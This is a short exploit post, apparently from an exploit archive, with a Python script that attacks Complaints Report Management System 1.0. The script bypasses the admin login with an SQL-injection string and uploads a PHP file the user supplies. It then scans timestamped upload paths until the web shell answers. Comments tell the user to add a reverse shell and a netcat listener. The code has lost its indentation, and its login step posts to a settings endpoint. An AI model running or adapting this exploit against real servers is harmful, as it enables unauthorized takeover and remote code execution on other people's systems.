Complaints Report Management System 1.0 SQL Injection / Remote Code Execution

Complaints Report Management System version 1.0 suffers from a remote SQL injection vulnerability that can allow for remote code execution.


MD5 | 34a90af2fd41a3b86d73ac2e42ef8ce0

# Exploit Title: Complaints Report Management System 1.0 - 'username' SQL Injection / Remote Code Execution
# Date: 3-11-2020
# Exploit Author: mosaaed
# Vendor Homepage: https://www.sourcecodester.com/php/14566/complaints-report-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/complaints-report-management-system.zip
# Version: 1.0
# Tested on: Parrot 5.5.17 + Apache 2.4.46
# CVE ID : N/A

# replace shell.php with your own php reverse shell
# change [TARGET URL] to target URL or IP address
# setup your netcat listener for sum good ol shellz



#!/usr/bin/python3

import requests
import time

def sqli_admin():
s = requests.Session()
data = {"username":"admin'or'1'=1#","password":"hacked"}
adminlogin = "http://localhost/crms/admin/ajax.php?action=save_settings"
s.post(adminlogin,data=data)
return s

def trigger_rce(session):
starttime = int(time.time())
multipart_form_data = {
"name": ("cyberscurity"),
"email": ("[email protected]"),
"contact" : ("+11111111111"),
"about" : ("Nothing much about it"),
"img" : ("shell.php", open("shell.php", "rb"))
}
session.post("http://localhost/crms/admin/ajax.php?action=save_settings", files=multipart_form_data)
get_shell(starttime-100,starttime+100,session)


def get_shell(start,end,session):
for i in range(start,end):
session.get("http://localhost/crms/admin/assets/uploads/"+str(i)+"_shell.php")
response = requests.get ("http://localhost/crms/admin/assets/uploads/"+ str(i) +"_shell.php")
if response.status_code == 200:
print("http://localhost/crms/admin/assets/uploads/"+str(i)+"_shell.php")


def main():
session = sqli_admin()
trigger_rce(session)

if __name__ == '__main__':
main()

Related Posts